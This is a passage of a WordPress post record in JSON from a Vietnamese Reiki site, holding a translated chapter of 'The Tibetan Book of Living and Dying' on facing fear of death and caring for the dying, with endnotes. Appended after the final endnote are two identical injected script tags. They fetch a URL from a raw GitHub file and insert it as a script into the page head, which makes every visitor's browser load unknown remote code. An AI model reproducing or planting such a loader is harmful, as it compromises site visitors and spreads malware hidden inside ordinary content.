gi\u00fap \u0111\u1ee1 c\u1ee7a h\u1ecd hay l\u00e0m h\u1ea1i h\u1ecd.<\/p>\n<p>Th\u00e0nh th\u1ef1c nh\u00ecn th\u1eb3ng v\u00e0o n\u1ed7i s\u1ee3 c\u1ee7a b\u1ea1n c\u0169ng s\u1ebd gi\u00fap cho b\u1ea1n trong cu\u1ed9c h\u00e0nh tr\u00ecnh ri\u00eang c\u1ee7a b\u1ea1n \u0111i t\u1edbi ch\u00edn ch\u1eafn. \u0110\u00f4i khi t\u00f4i ngh\u0129 kh\u00f4ng th\u1ec3 c\u00f3 c\u00e1ch hi\u1ec7u qu\u1ea3 \u0111\u1ec3 t\u0103ng t\u1ed1c s\u1ef1 tr\u01b0\u1edfng th\u00e0nh c\u1ee7a ch\u00fang ta nh\u01b0 con ng\u01b0\u1eddi h\u01a1n l\u00e0 l\u00e0m vi\u1ec7c v\u1edbi ng\u01b0\u1eddi s\u1eafp ch\u1ebft. Ch\u0103m s\u00f3c ng\u01b0\u1eddi s\u1eafp ch\u1ebft b\u1ea3n th\u00e2n n\u00f3 l\u00e0 vi\u1ec7c suy ng\u1eabm v\u00e0 suy t\u01b0 s\u00e2u s\u1eafc v\u1ec1 c\u00e1i ch\u1ebft ri\u00eang c\u1ee7a b\u1ea1n. \u0110\u00f3 l\u00e0 c\u00e1ch \u0111\u1ed1i di\u1ec7n v\u00e0 l\u00e0mvi\u1ec7c v\u1edbi n\u00f3. Khi b\u1ea1n l\u00e0m vi\u1ec7c v\u1edbi ng\u01b0\u1eddi s\u1eafp ch\u1ebft, b\u1ea1n c\u00f3 th\u1ec3 \u0111i t\u1edbi m\u1ed9t lo\u1ea1i quy\u1ebft t\u00e2m, vi\u1ec7c hi\u1ec3u r\u00f5 r\u00e0ng v\u1ec1 c\u00e1i g\u00ec l\u00e0 s\u1ef1 h\u1ed9i t\u1ee5 quan tr\u1ecdng nh\u1ea5t c\u1ee7a cu\u1ed9c \u0111\u1eddi. Th\u1ef1c s\u1ef1 h\u1ecdc gi\u00fap \u0111\u1ee1 cho nh\u1eefng ng\u01b0\u1eddi s\u1eafp ch\u1ebft l\u00e0 b\u1eaft \u0111\u1ea7u tr\u1edf n\u00ean kh\u00f4ng s\u1ee3 h\u00e3i v\u00e0 c\u00f3 tr\u00e1ch nhi\u1ec7m v\u1ec1 ch\u1ebft ri\u00eang c\u1ee7a ch\u00fang ta, v\u00e0 l\u00e0 t\u00ecm ra trong b\u1ea3n th\u00e2n ch\u00fang ta s\u1ef1 b\u1eaft \u0111\u1ea7u c\u1ee7a t\u1eeb bi v\u00f4 bi\u00ean m\u00e0 ch\u00fang ta c\u00f3 th\u1ec3 ch\u01b0a bao gi\u1edd ng\u1edd t\u1edbi.<\/p>\n<p>Nh\u1eadn bi\u1ebft v\u1ec1 n\u1ed7i s\u1ee3 ri\u00eang c\u1ee7a b\u1ea1n v\u1ec1 ch\u1ebft s\u1ebd gi\u00fap v\u00f4 c\u00f9ng cho b\u1ea1n nh\u1eadn bi\u1ebft v\u1ec1 s\u1ee3 c\u1ee7a ng\u01b0\u1eddi s\u1eafp ch\u1ebft. C\u1ee9 t\u01b0\u1edfng t\u01b0\u1ee3ng s\u00e2u nh\u1eefng \u0111i\u1ec1u \u0111\u00f3 c\u00f3 th\u1ec3 l\u00e0 c\u00e1i g\u00ec: s\u1ee3 v\u1ec1 \u0111au t\u0103ng l\u00ean, kh\u00f4ng ki\u1ec3m so\u00e1t \u0111\u01b0\u1ee3c, s\u1ee3 v\u1ec1 kh\u1ed5, s\u1ee3 b\u1ecb s\u1ec9 nh\u1ee5c, s\u1ee3 ph\u1ee5 thu\u1ed9c, s\u1ee3 r\u1eb1ng cu\u1ed9c s\u1ed1ng ch\u00fang ta \u0111\u00e3 s\u1ed1ng \u0111\u00e3 l\u00e0 v\u00f4 ngh\u0129a, s\u1ee3 t\u00e1ch r\u1eddi kh\u1ecfi m\u1ecdi th\u1ee9 ch\u00fang ta y\u00eau, s\u1ee3 m\u1ea5t ki\u1ec3m so\u00e1t, s\u1ee3 m\u1ea5t k\u00ednh tr\u1ecdng; c\u00f3 l\u1ebd n\u1ed7i s\u1ee3 l\u1edbn nh\u1ea5t trong m\u1ecdi n\u1ed7i s\u1ee3 l\u00e0 s\u1ee3 v\u1ec1 b\u1ea3n th\u00e2n s\u1ee3, \u0111i\u1ec1u c\u00e0ng tr\u1edf n\u00ean m\u1ea1nh h\u01a1n khi ch\u00fang ta l\u1ea9n tr\u00e1nh n\u00f3.<\/p>\n<p>Th\u00f4ng th\u01b0\u1eddng khi b\u1ea1n c\u1ea3m th\u1ea5y s\u1ee3, b\u1ea1n c\u1ea3m th\u1ea5y b\u1ecb c\u00f4 l\u1eadp v\u00e0 m\u1ed9t m\u00ecnh, v\u00e0 kh\u00f4ng c\u00f3 b\u1ea1n \u0111\u1ed3ng h\u00e0nh. Nh\u01b0ng khi ai \u0111\u00f3 \u0111\u1ed3ng h\u00e0nh c\u00f9ng b\u1ea1n v\u00e0 n\u00f3i v\u1ec1 n\u1ed7i s\u1ee3 ri\u00eang c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3, th\u1ebf th\u00ec b\u1ea1n nh\u1eadn ra s\u1ee3 l\u00e0 ph\u1ed5 bi\u1ebfn v\u00e0 nguy kh\u1ed1n, n\u1ed7i \u0111au c\u00e1 nh\u00e2n, \u0111\u01b0\u1ee3c nh\u1ea5c b\u1ecf \u0111i. N\u1ed7i s\u1ee3 c\u1ee7a b\u1ea1n \u0111\u01b0\u1ee3c mang tr\u1edf l\u1ea1i ho\u00e0n c\u1ea3nh ph\u1ed5 qu\u00e1t v\u00e0 con ng\u01b0\u1eddi. Th\u1ebf th\u00ec b\u1ea1n c\u00f3 kh\u1ea3 n\u0103ng hi\u1ec3u, l\u00e0 t\u1eeb bi h\u01a1n, v\u00e0 gi\u1ea3i quy\u1ebft v\u1edbi n\u1ed7i s\u1ee3 ri\u00eang c\u1ee7a b\u1ea1n theo c\u00e1ch t\u00edch c\u1ef1c v\u00e0 h\u1ee9ng kh\u1edfi h\u01a1n nhi\u1ec1u.<\/p>\n<p>Khi b\u1ea1n tr\u01b0\u1edfng th\u00e0nh \u0111\u1ec3 \u0111\u01b0\u01a1ng \u0111\u1ea7u v\u00e0 ch\u1ea5p nh\u1eadn s\u1ee3 ri\u00eang c\u1ee7a b\u1ea1n, b\u1ea1n s\u1ebd tr\u1edf n\u00ean nh\u1ea1y c\u1ea3m t\u0103ng l\u00ean v\u1edbi n\u1ed7i s\u1ee3 c\u1ee7a ng\u01b0\u1eddi tr\u01b0\u1edbc b\u1ea1n, v\u00e0 b\u1ea1n s\u1ebd th\u1ea5y b\u1ea1n ph\u00e1t tri\u1ec3n th\u00f4ng minh v\u00e0 s\u00e1ng su\u1ed1t \u0111\u1ec3 gi\u00fap ng\u01b0\u1eddi \u0111\u00f3 mang s\u1ee3 c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3 ra ch\u1ed7 m\u1edf, gi\u1ea3i quy\u1ebft ch\u00fang, v\u00e0 b\u1eaft \u0111\u1ea7u kh\u00e9o l\u00e9o xua tan ch\u00fang. Khi \u0111\u1ed1i di\u1ec7n v\u1edbi s\u1ee3 c\u1ee7a b\u1ea1n, b\u1ea1n s\u1ebd th\u1ea5y, \u0111i\u1ec1u \u0111\u00f3 kh\u00f4ng ch\u1ec9 l\u00e0m cho b\u1ea1n t\u1eeb bi v\u00e0 b\u1ea1o d\u1ea1n v\u00e0 r\u00f5 r\u00e0ng h\u01a1n; n\u00f3 c\u0169ng l\u00e0m cho b\u1ea1n kh\u00e9o l\u00e9o h\u01a1n, v\u00e0 kh\u00e9o l\u00e9o \u0111\u00f3 s\u1ebd m\u1edf cho b\u1ea1n m\u1ecdi c\u00e1ch th\u1ee9c t\u1ea1o kh\u1ea3 n\u0103ng cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft hi\u1ec3u \u0111\u01b0\u1ee3c v\u00e0 \u0111\u1ed1i di\u1ec7n \u0111\u01b0\u1ee3c b\u1ea3n th\u00e2n h\u1ecd.<\/p>\n<p>M\u1ed9t trong nh\u1eefng n\u1ed7i s\u1ee3 m\u00e0 ch\u00fang ta c\u00f3 th\u1ec3 d\u1ec5 d\u00e0ng xua tan \u0111i l\u00e0 lo l\u1eafng m\u00e0 t\u1ea5t c\u1ea3 ch\u00fang ta \u0111\u1ec1u c\u00f3 v\u1ec1 \u0111au kh\u00f4ng ch\u1ecbu n\u1ed5i trong qu\u00e1 tr\u00ecnh ch\u1ebft. T\u00f4i mu\u1ed1n ngh\u0129 r\u1eb1ng m\u1ecdi ng\u01b0\u1eddi tr\u00ean th\u1ebf gi\u1edbi c\u00f3 th\u1ec3 bi\u1ebft r\u1eb1ng \u0111i\u1ec1u n\u00e0y b\u00e2y gi\u1edd l\u00e0 kh\u00f4ng c\u1ea7n thi\u1ebft. \u0110au v\u1eadt l\u00ed n\u00ean \u0111\u01b0\u1ee3c gi\u1eef \u1edf t\u1ed1i thi\u1ec3u; d\u1ea7u sao \u0111i ch\u0103ng n\u1eefa c\u00f3 \u0111\u1ee7 kh\u1ed5 trong ch\u1ebft r\u1ed3i. M\u1ed9t nghi\u00ean c\u1ee9u t\u1ea1i Nh\u00e0 ch\u0103m s\u00f3c ng\u01b0\u1eddi s\u1eafp ch\u1ebft St. Christopher \u1edf Lu\u00e2n \u0111\u00f4n m\u00e0 t\u00f4i bi\u1ebft r\u00f5 v\u00e0 l\u00e0 n\u01a1i nhi\u1ec1u h\u1ecdc tr\u00f2 c\u1ee7a t\u00f4i \u0111\u00e3 ch\u1ebft, \u0111\u00e3 ch\u1ec9 ra r\u1eb1ng \u0111\u01b0\u1ee3c cho ch\u0103m s\u00f3c \u0111\u00fang, 98 ph\u1ea7n tr\u0103m b\u1ec7nh nh\u00e2n c\u00f3 th\u1ec3 c\u00f3 ch\u1ebft an b\u00ecnh. Phong tr\u00e0o ch\u0103m s\u00f3c ng\u01b0\u1eddi s\u1eafp ch\u1ebft \u0111\u00e3 ph\u00e1t tri\u1ec3n nhi\u1ec1u c\u00e1ch th\u1ee9c x\u1eed l\u00ed c\u00e1i \u0111au b\u1eb1ng c\u00e1ch d\u00f9ng \u0111a d\u1ea1ng c\u00e1c c\u00e1ch th\u1ee9c qu\u1ea3n l\u00ed \u0111au b\u1eb1ng vi\u1ec7c d\u00f9ng c\u00e1c t\u1ed5 h\u1ee3p thu\u1ed1c \u0111a d\u1ea1ng, kh\u00f4ng \u0111\u01a1n gi\u1ea3n thu\u1ed1c m\u00ea. C\u00e1c th\u1ea7y Ph\u1eadt gi\u00e1o n\u00f3i v\u1ec1 nhu c\u1ea7u ch\u1ebft c\u00f3 \u00fd th\u1ee9c v\u1edbi vi\u1ec7c l\u00e0m ch\u1ee7 t\u00e2m tr\u00ed minh m\u1eabn, r\u00f5 r\u00e0ng v\u00e0 thanh b\u00ecnh nhi\u1ec1u nh\u1ea5t c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c. Gi\u1eef \u0111au d\u01b0\u1edbi s\u1ef1 ki\u1ec3m so\u00e1t m\u00e0 kh\u00f4ng l\u00e0m nho\u00e0 \u00fd th\u1ee9c c\u1ee7a ng\u01b0\u1eddi s\u1eafp ch\u1ebft l\u00e0 \u0111i\u1ec1u ki\u1ec7n ti\u00ean quy\u1ebft \u0111\u1ea7u ti\u00ean cho vi\u1ec7c n\u00e0y, v\u00e0 b\u00e2y gi\u1edd \u0111i\u1ec1u \u0111\u00f3 c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c l\u00e0m: M\u1ecdi ng\u01b0\u1eddi n\u00ean \u0111\u01b0\u1ee3c cho quy\u1ec1n nh\u1eadn gi\u00fap \u0111\u1ee1 \u0111\u01a1n gi\u1ea3n \u0111\u00f3 v\u00e0o kho\u1ea3nh kh\u1eafc chuy\u1ec3n ti\u1ebfp \u0111\u00f2i h\u1ecfi nh\u1ea5t n\u00e0y.<\/p>\n<p>T\u1eeb \u201cS\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 s\u1ed1ng v\u00e0 ch\u1ebft\u201d, Ch.11 L\u1eddi khuy\u00ean t\u00e2m can cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft<\/p>\n<p><a href=\"#_ednref1\" name=\"_edn1\">[i]<\/a> Elisabeth K\u00fcbler-Ross, On Death and Dying (New York: Collier, 1970), 50.<\/p>\n<p><a href=\"#_ednref2\" name=\"_edn2\">[ii]<\/a> Dame Cicely Saunders, &#8220;I Was Sick and You Visited Me,&#8221; Christian Nurse International, 3, no. 4 (1987).<\/p>\n<p><a href=\"#_ednref3\" name=\"_edn3\">[iii]<\/a> Dame Cicely Saunders, &#8220;Spiritual Pain,&#8221; a paper presented at St. Christopher&#8217;s Hospice Fourth International Conference, London 1987, published in Hospital Chaplain (March 1988).<\/p>\n<p><a href=\"#_ednref4\" name=\"_edn4\">[iv]<\/a> K\u00fcbler-Ross, On Death and Dying, 36.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>TRONG M\u1ed8T VI\u1ec6N D\u01af\u1ee0NG L\u00c3O T\u00d4I BI\u1ebeT, Emily, m\u1ed9t ng\u01b0\u1eddi \u0111\u00e0n b\u00e0 \u1edf \u0111\u1ed9 tu\u1ed5i th\u01b0\u1ee3ng l\u1ee5c tu\u1ea7n, s\u1eafp ch\u1ebft v\u00ec ung th\u01b0 v\u00fa. Con &hellip; <\/p>\n","protected":false},"author":3,"featured_media":3770,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[66],"tags":[],"class_list":["post-3769","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cach-song-va-chet"],"_links":{"self":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3769","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3769"}],"version-history":[{"count":4,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3769\/revisions"}],"predecessor-version":[{"id":4762,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3769\/revisions\/4762"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/media\/3770"}],"wp:attachment":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3769"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3769"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3769"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}